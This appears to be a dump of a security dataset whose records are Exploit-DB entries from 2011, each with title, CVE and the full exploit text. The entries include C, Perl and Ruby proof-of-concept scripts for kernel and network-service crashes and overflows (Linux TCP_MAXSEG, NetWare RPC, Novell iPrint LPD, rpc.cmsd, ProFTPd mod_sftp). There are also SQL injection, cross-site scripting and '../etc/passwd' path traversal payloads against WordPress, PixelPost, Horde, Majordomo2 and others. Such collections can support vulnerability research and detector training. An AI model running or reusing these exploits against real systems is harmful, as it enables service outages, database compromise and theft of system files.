QLWD/code_shield huggingface dataset:
标题: Linux Kernel 2.6.37 - Local Kernel Denial of Service (1) EDB-ID: 16263 CVE: 2010-4165 类型: DOS 平台: LINUX 发布日期: 2011-03-02 漏洞利用脚本: /* Linux Kernel <= 2.6.37 local kernel DoS (CVE-2010-4165)
 * =======================================================
 * A divide by 0 error occurs in tcp_select_initial_window
 * when processing user supplied TCP_MAXSEG facilitating a
 * local denial-of-service condition (kernel oops!) in all
 * Linux Kernel 2.6.x branch (2.6.37 & below). This issue 
 * can be triggered easily with a call to setsockopt() on 
 * a listening network socket and then establishing a TCP
 * connection to the awaiting socket. 
 * 
 * -- prdelka
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>


int main() {
 int optval, optlen, ret, sd, sd2, pid;
 char *host = "localhost"; 
 struct sockaddr_in locAddr;
 struct sockaddr_in servAddr;
 struct sockaddr_in dstAddr;
 printf("[ Linux Kernel tcp_select_initial_window divide by 0 DoS\n"); 
 sd = socket(AF_INET, SOCK_STREAM, 0);
 memset(&servAddr,0,sizeof(servAddr));
 memset(&dstAddr,0,sizeof(dstAddr));
        servAddr.sin_family = AF_INET;
        servAddr.sin_port = htons(60000);
        servAddr.sin_addr.s_addr = INADDR_ANY;
 dstAddr.sin_family = AF_INET;
 inet_aton("127.0.0.1", &dstAddr.sin_addr);
 dstAddr.sin_port = htons(60000);
        if((bind(sd,(struct sockaddr *)&servAddr,sizeof(struct sockaddr))) == -1){
                printf("[ Cannot bind listener service\n");
                exit(-1);
        }
 listen(sd,4);
 optval = 12;
 ret = setsockopt(sd, IPPROTO_TCP, TCP_MAXSEG, &optval, sizeof(optval));
 if(ret==0)
 {
  printf("[ System is not patched against CVE-2010-4165\n[ Goodnight, sweet prince.\n");
  int sin_size = sizeof(struct sockaddr_in);
  switch(pid = fork())
  {
   case 0:
    sd = accept(sd,(struct sockaddr *)&locAddr,&sin_size);
    sleep(3);
   default:
    sd2 = socket(AF_INET, SOCK_STREAM, 0);
    connect(sd2, (struct sockaddr *)&dstAddr, sizeof(dstAddr));
    sleep(3);
  }
 }
 printf("[ System is patched, no dreams for this prince\n");
 return 0;
} URL: https://www.exploit-db.com/exploits/16263
标题: Novell Netware - RPC XNFS xdrDecodeString EDB-ID: 16234 CVE: 2010-4227 类型: DOS 平台: NETWARE 发布日期: 2011-02-24 漏洞利用脚本: #!/usr/bin/ruby

# Source:
# http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=24&Itemid=24

require 'socket'

netware_server = (ARGV[0])
target_port = (ARGV[1] || 1234)


beepbeep=
"\x1c\xd1\xef\xab"  + # XID
"\x00\x00\x00\x00" + # Message Type: Call (0)
"\x00\x00\x00\x02" + # RPC Version: 2
"\x00\x01\x86\xa5" + # Program: 10005 MOUNT
"\x00\x00\x00\x02" + # Program Version: 2
"\x00\x00\x00\x01" + # Procedure: MNT  (1)
"\x00\x00\x00\x00\x00\x00\x00\x00" + #
"\x00\x00\x00\x00\x00\x00\x00\x00" + #Verifier NULL
"\x41\x42\x43\x44"




puts "[+] beep beep\n"
puts "[+]No, it's not the road runner\n"


if (!(netware_server && target_port))
    puts "Usage: PRL-2011-04.rb host port (default port: 1234)\n"
    exit
else
    puts "[+]Sending UDP Packet...\n"
    sock = UDPSocket.open
    sock.connect(netware_server, target_port.to_i)
    sock.send(beepbeep, 0)
end URL: https://www.exploit-db.com/exploits/16234
标题: WordPress Plugin Forum Server 1.6.5 - SQL Injection EDB-ID: 16235 CVE: 2011-1047 类型: WEBAPPS 平台: PHP 发布日期: 2011-02-24 漏洞利用脚本: Vulnerability ID: HTB22851
Reference: http://www.htbridge.ch/advisory/sql_injection_in_wp_forum_server_wordpre
ss_plugin_1.html
Product: WP Forum Server wordpress plugin
Vendor: VastHTML
Vulnerable Version: 1.6.5
Vendor Notification: 10 February 2011
Vulnerability Type: SQL Injection
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "search_max" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

<form action="http://[host]/?page_id=[page_id]&vasthtmlaction=search" method="post" name="main" >
<input type="hidden" name="search_words" value="123" />
<input type="hidden" name="search_submit" value="Search forums" />
<input type="hidden" name="search_user" value="*" />
<input type="hidden" name="search_min" value="0" />
<input type="hidden" name="search_max" value="9999 DAY) union select version(),2,3,4 -- " />
<input type="submit" value="search" name="submit" />
</form>

Vulnerability ID: HTB22850
Reference: http://www.htbridge.ch/advisory/sql_injection_in_wp_forum_server_wordpre
ss_plugin.html
Product: WP Forum Server wordpress plugin
Vendor: VastHTML ( http://lucidcrew.com/ )
Vulnerable Version: 1.6.5
Vendor Notification: 10 February 2011
Vulnerability Type: SQL Injection
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/wp-content/plugins/forum-server/feed.php" script to properly sanitize user-supplied input in "topic" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

http://[host]/wp-content/plugins/forum-server/feed.php?topic=1%20union%2
0select%20version%28%29%20-- URL: https://www.exploit-db.com/exploits/16235
标题: Novell Iprint - LPD Remote Code Execution EDB-ID: 16192 CVE: 2010-4328 类型: DOS 平台: LINUX 发布日期: 2011-02-18 漏洞利用脚本: #!/usr/bin/perl

## Source:
## http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=21&Itemid=21

use Getopt::Std;
use IO::Socket::INET;

$SIG{INT}  = \&abort;

my $host  = '10.102.3.79';
my $port  = 515;
my $proto = 'tcp';
my $sockType = SOCK_STREAM;
my $timeout = 1;


my %opt;
my $opt_string = 'hH:P:t:';
getopts( "$opt_string", \%opt );

if (defined $opt{h}) {
    usage()
}

my @commands = (
{Command => 'Send',
 Data => "\x01\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x44\x43\x42\x41\x0a"},

);

my $sock = new IO::Socket::INET ( 
                PeerAddr => $host,
            PeerPort => $port, 
            Proto => $proto,
                Type => $sockType,
                Timeout => $timeout,
            ) 
    or die "socket error: $!\n\n";

print "connected to: $host:$port\n";

$sock->autoflush(1);
binmode $sock;


foreach my $command (@commands)
{
    if ($command->{'Command'} eq 'Receive')
    {
        my $buf = receive($sock, $timeout);
        if (length $buf)
        {
            print "received: [$buf]\n";
        }
    }
    elsif ($command->{'Command'} eq 'Send')
    {
        print "sending: [".$command->{'Data'}."]\n";
        send ($sock, $command->{'Data'}, 0) or die "send failed, reason: $!\n";
    }
}


close ($sock); URL: https://www.exploit-db.com/exploits/16192
标题: Rae Media Real Estate Single Agent - SQL Injection EDB-ID: 16178 CVE: 2010-4738 类型: WEBAPPS 平台: ASP 发布日期: 2011-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/45211/info

Real Estate Single is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Real Estate Single 3.0 is vulnerable; other versions may also be affected. 

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/resulttype.asp?probe=[Code] URL: https://www.exploit-db.com/exploits/16178
标题: Rae Media Real Estate Multi Agent - SQL Injection EDB-ID: 16179 CVE: 2010-4738 类型: WEBAPPS 平台: ASP 发布日期: 2011-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/45212/info

Multi Agent System is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Multi Agent System 3.0 is vulnerable; other versions may also be affected. 

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/multi/city.asp?probe=[Code] URL: https://www.exploit-db.com/exploits/16179
标题: TaskFreak! 0.6.4 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 16158 CVE: 2011-1062 类型: WEBAPPS 平台: PHP 发布日期: 2011-02-12 漏洞利用脚本: ################################################################

TaskFreak! v0.6.4 Multiple Cross-Site Scripting Vulnerabilities


Vendor: Stan Ozier
Product web page: http://www.taskfreak.com
Affected version: 0.6.4 (multi-user)

Summary: TaskFreak! Original is a simple but efficient web based
task manager written in PHP.

Desc: TaskFreak! suffers from multiple XSS vulnerabilities when parsing
input to multiple parameters in different scripts. The vulnerable POST
parameters are: 'sContext', 'sort', 'dir' and 'show' thru index.php. Also
the GET parameters 'dir' and 'show' thru 'print_list.php' are vulnerable.
Header variable 'referer' is vulnerable thru rss.php script. Attackers
can exploit these weaknesses to execute arbitrary HTML and script code in
a user's browser session.

Tested on: MS Windows XP Pro SP3-EN, XAMPP (latest)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2011-4990
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4990


27.01.2011

################################################################


<script type="text/javascript">function xss(){document.forms["zappa"].submit();}</script>
<form name="zappa" action="http://taskfreak/index.php" method="POST" id="zappa">
 <input type="hidden" name="sProject" value="0" />
        <input type="hidden" name="id" value="" />
        <input type="hidden" name="mode" value="save" />
 <input type="hidden" name="sContext" value='%22%20onmouseover%3dprompt(/_did_you_smiled_today_?/)%20' />
        <input type="hidden" name="sort" value='"><script>alert(1)</script>' />
     <input type="hidden" name="dir" value='"><script>alert(2)</script>' />
        <input type="hidden" name="show" value='"><script>alert(3)</script>' />
</form>
<a href="javascript: xss();" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit!<h3></center></font></b></a>

---

http://taskfreak/print_list.php?dir=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E
http://taskfreak/print_list.php?show=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E

---

GET /taskfreak/rss.php HTTP/1.1
Referer: ">Waddup!
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */* URL: https://www.exploit-db.com/exploits/16158
标题: PixelPost 1.7.3 - Multiple POST SQL Injections EDB-ID: 16160 CVE: 2011-1100 类型: WEBAPPS 平台: PHP 发布日期: 2011-02-12 漏洞利用脚本: --------------------------------------------------------------------

Pixelpost 1.7.3 Multiple POST Variables SQL Injection Vulnerability

Vendor: Pixelpost.org
Product web page: http://www.pixelpost.org
Affected version: 1.7.3

Summary: Pixelpost is an open-source, standards-compliant, multi-lingual,
fully extensible photoblog application for the web. Anyone who has web-space
that meets the requirements can download and use Pixelpost for free!

Desc: Pixelpost is vulnerable to an SQL Injection attack when input is passed
to several POST parameters (findfid, id, selectfcat, selectfmon, selectftag).
The script (admin/index.php) fails to properly sanitize the input before being
returned to the user allowing the attacker to compromise the entire DB system
and view sensitive information.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com
                            Zero Science Lab - http://www.zeroscience.mk

Advisory ID: ZSL-2011-4992
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4992.php


03.02.2011

--------------------------------------------------------------------

Vulnerable variables: 

- findfid
- id
- selectfcat
- selectfmon
- selectftag

Example:

POST /pixelpost_v1.7.3/admin/index.php?view=images HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: localhost
Content-Length: 62
Cookie: PHPSESSID=9nqb5cbq1v4si85tidd4gas166;passwordbla=
Connection: Close
Pragma: no-cache

selectfcat=3&selectftag=1&selectfmon=1&findfid=1[SQLi]&findid=Go%21

------

HTTP/1.1 200 OK

You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '' limit 0,1' at line 1.

------- URL: https://www.exploit-db.com/exploits/16160
标题: MihanTools Script 1.3.3 - SQL Injection EDB-ID: 16143 CVE: 2011-1048 类型: WEBAPPS 平台: PHP 发布日期: 2011-02-09 漏洞利用脚本: # Exploit Title: MihanTools Script SQL Injection Vunerability  
# Platform: php  
# Date: 09.02.2011  
# Author: WHITE_DEVIL  
# Software Link: http://www.mihantools.ir/   
# Version: all version  
# Tested on: Windows Sp2  
# Mail: Mr.web70@yahoo.com  
# Dork: inurl:product.php?id= *Powered by MihanTools* 
# Exploit:  

http://localhost/product.php?id=-1+union+select+version(),2,3,4,5,6,7,8,9,10,11,12,13,14--  
  

# Greetings:  
IRAQ_JAGUAR, Joker_Sql, Karar_Alshami, Karar_Aljbory URL: https://www.exploit-db.com/exploits/16143
标题: Horde - Horde_Image::factory driver Argument Local File Inclusion EDB-ID: 16154 CVE: 2009-0932 类型: WEBAPPS 平台: PHP 发布日期: 2011-02-11 漏洞利用脚本: # Exploit Title: Horde Horde_Image::factory driver Argument Local File
Inclusion
# Google Dork: intitle:horde
# Date: 10-02-2011
# Author: skysbsb
# Software Link: http://www.horde.org/download/
# Version: Horde 3.3.2
# Tested on: linux
# CVE : CVE-2009-0932

The original disclosure was done by Gunnar Wrobel from Horde team.. it was
found in a code audit (january 2009).
It's an old vuln(2009) but still unpublished in exploit-db. There is a lot
of vulnerables sites out there. Just try google =)


Vuln description:
The version of Horde, Horde Groupware, or Horde Groupware Webmail Edition
installed on the remote host fails to filter input to the 'driver' argument
of the  'Horde_Image::factory' method before using it to include PHP code in
'lib/Horde/Image.php'.  Regardless of PHP's 'register_globals' and
'magic_quotes_gpc' settings, an unauthenticated attacker can exploit this
issue to view arbitrary files or possibly to execute arbitrary PHP code on
the remote host, subject to the privileges of the web server user id.


Fix:
If using Horde, upgrade to version 3.3.3 / 3.2.4 or later. If using Horde
Groupware, upgrade to version 1.2.2 / 1.1.5 or later. If using Horde
Groupware Webmail Edition, upgrade to version 1.2.2/1.1.5 or later.


PoC:
http://www.vulnsite.com/horde/util/barcode.php
?type=../../../../../../../../../../../etc/./passwd%00



# skysbsb [*at*] gmail.com URL: https://www.exploit-db.com/exploits/16154
标题: Multiple Vendor Calendar Manager - Remote Code Execution EDB-ID: 16137 CVE: 2010-4435 类型: REMOTE 平台: MULTIPLE 发布日期: 2011-02-09 漏洞利用脚本: /* 
 * Rodrigo Rubira Branco (BSDaemon) - <rodrigo *noSPAM* kernelhacking . com>
 * http://www.kernelhacking.com/rodrigo
 * http://www.risesecurity.org
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <rpc/rpc.h>

#define CMSD_PROG 100068
#define CMSD_VERS 4
#define CMSD_INSERT 6 
#define CMSD_UNKN 10 

struct cm_send {
   char *s1;
   char *s2;
};

struct cm_send2 {
   char *s1;
   char *s2;
};

struct cm_reply {
   int i;
};

bool_t xdr_cm_send(XDR *xdrs, struct cm_send *objp)
{
   if(!xdr_wrapstring(xdrs, &objp->s1))
      return (FALSE);
   if(!xdr_wrapstring(xdrs, &objp->s2))
       return (FALSE);

   return (TRUE);
}

bool_t xdr_cm_send2(XDR *xdrs, struct cm_send2 *objp)
{
   if(!xdr_wrapstring(xdrs, &objp->s1))
      return (FALSE);
   if(!xdr_wrapstring(xdrs, &objp->s2))
       return (FALSE);

   return (TRUE);
}

bool_t xdr_cm_reply(XDR *xdrs, struct cm_reply *objp)
{
   if(!xdr_int(xdrs, &objp->i))
      return (FALSE);
   return (TRUE);
}

int
main(int argc, char *argv[])
{
   char buf[2048], buf2[256];
   long ret, offset;
   int len, x, y, i;
   char *hostname, *b;

   CLIENT *cl;
   struct cm_send send;
   struct cm_send2 send2;
   struct cm_reply reply;
   struct timeval tm = { 10, 0 };
   enum clnt_stat stat;

   printf("<< rpc.cmsd remote PoC (CVE-2010-4435), tested against Solaris, AIX, HP-UX >>\n");
   printf("<< Rodrigo Rubira Branco (BSDaemon) - <rodrigo *noSPAM* kernelhacking.com> >>\n");
   printf("<< http://www.kernelhacking.com/rodrigo >>\n");
   printf("<< http://www.risesecurity.org >>\n");

   if(argc < 2) {
      printf("Usage: %s [hostname]\n", argv[0]);
      exit(1);
   } 

   hostname = argv[1];

   memset(buf,0x60,sizeof(buf)-1);
   memset(buf2,0x44,sizeof(buf2)-1);
   memcpy(buf+292,"\xaa\xbb\xcc\xdd",4);

   send.s1 = buf;
   send.s2 = "";
   send2.s1 = buf2;
   send2.s2 = "";

   printf("\nSending CMSD_UNKN to the server ... ");

   if(!(cl=clnt_create(hostname,CMSD_PROG,CMSD_VERS,"udp"))){
        clnt_pcreateerror("\nerror");exit(-1);
   }
   stat=clnt_call(cl, CMSD_UNKN, xdr_cm_send, (caddr_t) &send,
                        xdr_cm_reply, (caddr_t) &reply, tm);

   clnt_destroy(cl);
   
   printf("done!\n");

   printf("Sending CMSD_INSERT procedure ... ");  

   if(!(cl=clnt_create(hostname,CMSD_PROG,CMSD_VERS,"udp"))){
 clnt_pcreateerror("\nerror");exit(-1);
   }

   cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
   stat=clnt_call(cl, CMSD_INSERT, xdr_cm_send2, (caddr_t) &send2,
                        xdr_cm_reply, (caddr_t) &reply, tm);

   printf("done!\n");
   clnt_destroy(cl);

} URL: https://www.exploit-db.com/exploits/16137
标题: ProFTPd - 'mod_sftp' Integer Overflow Denial of Service (PoC) EDB-ID: 16129 CVE: 2011-1137 类型: DOS 平台: LINUX 发布日期: 2011-02-07 漏洞利用脚本: #ProFTPD mod_sftp Integer Overflow
#by Kingcope
#reference: http://www.castaglia.org/proftpd/modules/mod_sftp.html

# Exploit Title: ProFTPD mod_sftp Integer Overflow
# Date: 7 February 2011
# Author: Kingcope
# Software Link: http://www.castaglia.org/proftpd/modules/mod_sftp.html
# Tested on: Centos 5.5

#Program received signal SIGSEGV, Segmentation fault.
#0x00391577 in memset () from /lib/libc.so.6
#(gdb) i r
#eax            0x0      0
#ecx            0x203fffef       541065199
#edx            0x1      1
#ebx            0x80ffffbd       -2130706499
#esp            0xbfcfd088       0xbfcfd088
#ebp            0xbfcfd0a8       0xbfcfd0a8
#esi            0x0      0
#edi            0x0      0
#eip            0x391577 0x391577 <memset+55>
#eflags         0x210202 [ IF RF ID ]
#cs             0x73     115
#ss             0x7b     123
#ds             0x7b     123
#es             0x7b     123
#fs             0x0      0
#gs             0x33     51
#(gdb) x/10i $eip
#0x391577 <memset+55>:   rep stos %eax,%es:(%edi)
#0x391579 <memset+57>:   mov    %edx,%ecx
#0x39157b <memset+59>:   rep stos %al,%es:(%edi)
#0x39157d <memset+61>:   mov    0x8(%esp),%eax
#0x391581 <memset+65>:   pop    %edi
#0x391582 <memset+66>:   ret
#0x391583:       nop
#0x391584:       nop
#0x391585:       nop
#0x391586:       nop

use IO::Socket;

$|=1;

$pl = "\x53\x53\x48\x2D\x32\x2E\x30\x2D\x31\x2E\x32\x37\x20\x73\x73\x68\x6C\x69\x62\x3A\x20\x57\x69\x6E\x53\x53".
"\x48\x44\x20\x33\x2E\x30\x35\x0D\x0A\x80\xff\xff\xff" . "AAAAAAAAAA";

my $sock = IO::Socket::INET->new(PeerAddr => "192.168.2.5",
                              PeerPort => '21',
                              Proto    => 'tcp');

read($sock, $xp, 10);
#$x = <stdin>;
print $sock $pl;
exit; URL: https://www.exploit-db.com/exploits/16129
标题: VideoLAN VLC Media Player 1.1 - Subtitle 'StripTags()' Memory Corruption EDB-ID: 16108 CVE: 2011-0522 类型: DOS 平台: MULTIPLE 发布日期: 2011-02-03 漏洞利用脚本: Source:  https://www.securityfocus.com/bid/46008/info

VLC media player is prone to a heap-based memory-corruption vulnerability.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

An attacker can exploit this issue by enticing an unsuspecting user to open a malicious media file containing malicious subtitles with the vulnerable application.

The following proof-of-concept commands are available:

1. echo -ne '<foo\0crashme' | dd conv=notrunc bs=1 seek=877862 \ of=refined-australia-blu720p-sample.mkv

2. vlc --sub-language English refined-australia-blu720p-sample.mkv URL: https://www.exploit-db.com/exploits/16108
标题: Majordomo2 - 'SMTP/HTTP' Directory Traversal EDB-ID: 16103 CVE: 2011-0063 2011-0049 类型: REMOTE 平台: MULTIPLE 发布日期: 2011-02-03 漏洞利用脚本: Original Advisory: https://sitewat.ch/en/Advisory/View/1
Credit: Michael Brooks (https://sitewat.ch)
Vulnerability:  Directory Traversal
Software: Majordomo2
Identifier:CVE-2011-0049
Vendor: http://www.mj2.org/
Affected Build: 20110121 and prior
Google dork:inurl:mj_wwwusr

Special thanks to Dave Miller,  Reed Loden and the rest of the Mozilla
security team for handling the issue.

This vulnerability is exploitable via ALL of Majordomo2's interfaces.
*Including
e-mail*.  Send an email to majordomo's mail interface (for example:
majordomo@bugzilla.org) with the body of the message as follows:
help ../../../../../../../../../../../../../etc/passwd

I'll give you one guess as to the contents of the response email ;).

PoC for HTTP:
http://localhost/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/16103